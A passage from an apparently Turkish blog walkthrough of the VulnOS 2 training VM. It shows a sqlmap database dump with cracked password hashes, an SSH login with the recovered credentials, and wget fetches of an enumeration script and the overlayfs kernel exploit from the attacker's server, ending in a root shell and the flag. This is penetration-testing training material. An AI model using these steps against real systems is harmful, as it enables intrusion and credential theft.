-\n---\n[19:00:51] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu\nweb application technology: PHP 5.5.9, Apache 2.4.7\nback-end DBMS: MySQL &gt;= 5.0.12\n[19:00:51] [INFO] fetching database names\navailable databases [6]:\n[*] drupal7\n[*] information_schema\n[*] jabcd0cs\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n\n[19:00:52] [INFO] fetching columns for table &#039;odm_user&#039; in database &#039;jabcd0cs&#039;\n[19:00:53] [WARNING] reflective value(s) found and filtering out\n[19:00:53] [INFO] fetching entries for table &#039;odm_user&#039; in database &#039;jabcd0cs&#039;\n[19:00:54] [INFO] recognized possible password hashes in column &#039;password&#039;\ndo you want to store hashes to a temporary file for eventual further processing with other tools [y\/N] N\ndo you want to crack them via a dictionary-based attack? [Y\/n\/q] Y\n[19:00:54] [INFO] using hash method &#039;md5_generic_passwd&#039;\nwhat dictionary do you want to use?\n[1] default dictionary file &#039;\/usr\/share\/sqlmap\/data\/txt\/wordlist.tx_&#039; (press Enter)\n[2] custom dictionary file\n[3] file with list of dictionary files\n> 1\n[19:00:54] [INFO] using default dictionary\ndo you want to use common password suffixes? (slow!) [y\/N] N\n[19:00:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)\n[19:00:54] [INFO] starting 4 processes \n[19:01:20] [INFO] cracked password &#039;guest&#039; for user &#039;guest&#039;                                                                                                                                                                                                                   \n[19:01:51] [INFO] cracked password &#039;guest&#039; for user &#039;guest&#039;                                                                                                                                                                                                                   \nDatabase: jabcd0cs                                                                                                                                                                                                                                                            \nTable: odm_user\n[2 entries]\n+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+\n| id | Email              | phone       | password                                 | username | last_name | department | first_name | pw_reset_code |\n+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+\n| 1  | webmin@example.com | 5555551212  | b78aae356709f8c31118ea613980954b         | webmin   | min       | 2          | web        | &lt;blank&gt;       |\n| 2  | guest@example.com  | 555 5555555 | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest    | guest     | 2          | guest      | NULL          |\n+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+\n\n[19:02:22] [INFO] table &#039;jabcd0cs.odm_user&#039; dumped to CSV file &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26\/dump\/jabcd0cs\/odm_user.csv&#039;\n[19:02:22] [INFO] fetched data logged to text files under &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26&#039;\n\n[*] ending @ 19:02:22 \/2021-05-30\/<\/code><\/pre>\n<p>Evet bir kullan\u0131c\u0131 daha elde ettik.<\/p>\n<pre><code>guest:guest<\/code><\/pre>\n<p>A\u015fa\u011f\u0131daki internet sitesinden md5'\u0131 kontrol etti\u011fimde webmin kullan\u0131c\u0131s\u0131n\u0131n parolas\u0131n\u0131da elde etmi\u015f oldum. <a href=\"https:\/\/www.md5decrypt.org\/\">https:\/\/www.md5decrypt.org\/<\/a><\/p>\n<pre><code class=\"language-sh\">webmin:b78aae356709f8c31118ea613980954b:webmin1980<\/code><\/pre>\n<p>\u015eimdi ssh deneyelim. Daha sonras\u0131nda makine i\u00e7erisinde belirli kontrol ger\u00e7ekle\u015firerek her zaman kulland\u0131\u011f\u0131m\u0131z enu scriptinin \u00e7al\u0131\u015ft\u0131ral\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# ssh webmin@192.168.0.26                                                                                                                                                                                                            130 \u2a2f\nwebmin@192.168.0.26&#039;s password: \nPermission denied, please try again.\nwebmin@192.168.0.26&#039;s password: \nWelcome to Ubuntu 14.04.4 LTS (GNU\/Linux 3.13.0-24-generic i686)\n\n * Documentation:  https:\/\/help.ubuntu.com\/\n\n  System information as of Mon May 31 00:11:42 CEST 2021\n\n  System load: 0.63              Memory usage: 3%   Processes:       60\n  Usage of \/:  5.7% of 29.91GB   Swap usage:   0%   Users logged in: 0\n\n  =&gt; There is 1 zombie process.\n\n  Graph this data and manage this system at:\n    https:\/\/landscape.canonical.com\/\n\nLast login: Wed May  4 10:41:07 2016\n$ whoami\nwebmin\n$ \n\n$ which wget\n\/usr\/bin\/wget\n$ which gcc\n\/usr\/bin\/gcc\n$ \n$ \n$ \n$ cd \/tmp\n$ \n$ \n$ ls\n$ \n$ wget http:\/\/192.168.0.21:1822\/lse.sh\n--2021-05-31 01:16:38--  http:\/\/192.168.0.21:1822\/lse.sh\nConnecting to 192.168.0.21:1822... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 41177 (40K) [text\/x-sh]\nSaving to: \u2018lse.sh\u2019\n\n100%[===================================================================================================================================================================================================&gt;] 41,177      --.-K\/s   in 0s      \n\n2021-05-31 01:16:38 (96.3 MB\/s) - \u2018lse.sh\u2019 saved [41177\/41177]\n\n$ chmod 777 lse.sh\n$ \n$ \n$ .\/lse.sh -l2 &gt;&gt; result\nIf you know the current user password, write it here to check sudo privileges: webmin1980\n\n$ uname -a\nLinux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU\/Linux\n$ \n$ \n$ \n$ lsb_release -a\nNo LSB modules are available.\nDistributor ID: Ubuntu\nDescription:    Ubuntu 14.04.4 LTS\nRelease:    14.04\nCodename:   trusty<\/code><\/pre>\n<p>G\u00f6z\u00fcme \u00e7arpan \u00e7ok bir \u015fey olmad\u0131 bunun \u00fczerine locoal exploit deneeye karar verdim. Hak y\u00fckseltme i\u015flemi i\u00e7in exploit arad\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos\/linux-smart-enumeration]\n\u2514\u2500# searchsploit kernel exploit privilege Ubuntu 14. 3.13.\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                                                                                                                                             |  Path\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nLinux Kernel 3.13.0 &lt; 3.19 (Ubuntu 12.04\/14.04\/14.10\/15.04) - &#039;overlayfs&#039; Local Privilege Escalation                                                                                                       | linux\/local\/37292.c\nLinux Kernel 3.13.0 &lt; 3.19 (Ubuntu 12.04\/14.04\/14.10\/15.04) - &#039;overlayfs&#039; Local Privilege Escalation (Access \/etc\/shadow)                                                                                  | linux\/local\/37293.txt\nLinux Kernel 3.4 &lt; 3.13.2 (Ubuntu 13.04\/13.10 x64) - &#039;CONFIG_X86_X32=y&#039; Local Privilege Escalation (3)                                                                                                     | linux_x86-64\/local\/31347.c\nLinux Kernel &lt; 4.13.9 (Ubuntu 16.04 \/ Fedora 27) - Local Privilege Escalation                                                                                                                              | linux\/local\/45010.c\nLinux Kernel &lt; 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation                                                                                                                                     | linux\/local\/44298.c\nLinux Kernel &lt; 4.4.0-21 (Ubuntu 16.04 x64) - &#039;netfilter target_offset&#039; Local Privilege Escalation                                                                                                          | linux_x86-64\/local\/44300.c\nLinux Kernel &lt; 4.4.0-83 \/ &lt; 4.8.0-58 (Ubuntu 14.04\/16.04) - Local Privilege Escalation (KASLR \/ SMEP)                                                                                                      | linux\/local\/43418.c\nLinux Kernel &lt; 4.4.0\/ &lt; 4.8.0 (Ubuntu 14.04\/16.04 \/ Linux Mint 17\/18 \/ Zorin) - Local Privilege Escalation (KASLR \/ SMEP)                                                                                  | linux\/local\/47169.c\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos\/linux-smart-enumeration]\n\u2514\u2500# locate linux\/local\/37292.c\n\/usr\/share\/exploitdb\/exploits\/linux\/local\/37292.c\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos\/linux-smart-enumeration]\n\u2514\u2500# cp \/usr\/share\/exploitdb\/exploits\/linux\/local\/37292.c .\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos\/linux-smart-enumeration]\n\u2514\u2500# head 37292.c -n 20                                          \n\/*\n# Exploit Title: ofs.c - overlayfs local root in ubuntu\n# Date: 2015-06-15\n# Exploit Author: rebel\n# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)\n# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04\n# CVE : CVE-2015-1328     (http:\/\/people.canonical.com\/~ubuntu-security\/cve\/2015\/CVE-2015-1328.html)\n\n*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*\nCVE-2015-1328 \/ ofs.c\noverlayfs incorrect permission handling + FS_USERNS_MOUNT\n\nuser@ubuntu-server-1504:~$ uname -a\nLinux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU\/Linux\nuser@ubuntu-server-1504:~$ gcc ofs.c -o ofs\nuser@ubuntu-server-1504:~$ id\nuid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)\nuser@ubuntu-server-1504:~$ .\/ofs\nspawning threads\nmount #1\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos\/linux-smart-enumeration]\n\u2514\u2500# mv 37292.c ofs.c<\/code><\/pre>\n<p>Exploiti kalimdeki python server'dan hedef makineye \u00e7ektim.<\/p>\n<pre><code class=\"language-sh\">$ wget http:\/\/192.168.0.21:1822\/ofs.c\n--2021-05-31 01:31:22--  http:\/\/192.168.0.21:1822\/ofs.c\nConnecting to 192.168.0.21:1822... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 5119 (5.0K) [text\/x-csrc]\nSaving to: \u2018ofs.c\u2019\n\n100%[===================================================================================================================================================================================================&gt;] 5,119       --.-K\/s   in 0s      \n\n2021-05-31 01:31:22 (155 MB\/s) - \u2018ofs.c\u2019 saved [5119\/5119]\n\n$ gcc ofs.c -o ofs\n$ .\/ofs\nspawning threads\nmount #1\nmount #2\nchild threads done\n\/etc\/ld.so.preload created\ncreating shared library\n# id\nuid=0(root) gid=0(root) groups=0(root),1001(webmin)\n# cd \/root  \n# ls\nflag.txt\n# cat flag.txt\nHello and welcome.\nYou successfully compromised the company &quot;JABC&quot; and the server completely !!\nCongratulations !!!\nHope you enjoyed it.\n\nWhat do you think of A.I.?\n# <\/code><\/pre>\n<p>Ve root!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: VulnOS are a series of vulnerable operating systems packed as virtual images to enhance penetration testing skills Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/vulnos-2,147\/ \u0130ndirme&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/01\/vulnos-2\/\">Devam\u0131n\u0131 oku<span class=\"screen-reader-text\">VULNOS: 2<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[501,29],"class_list":["post-1155","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-local-privilege-escalation","tag-sqlmap","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1155","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1155"}],"version-history":[{"count":3,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1155\/revisions"}],"predecessor-version":[{"id":1158,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1155\/revisions\/1158"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1155"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1155"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1155"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}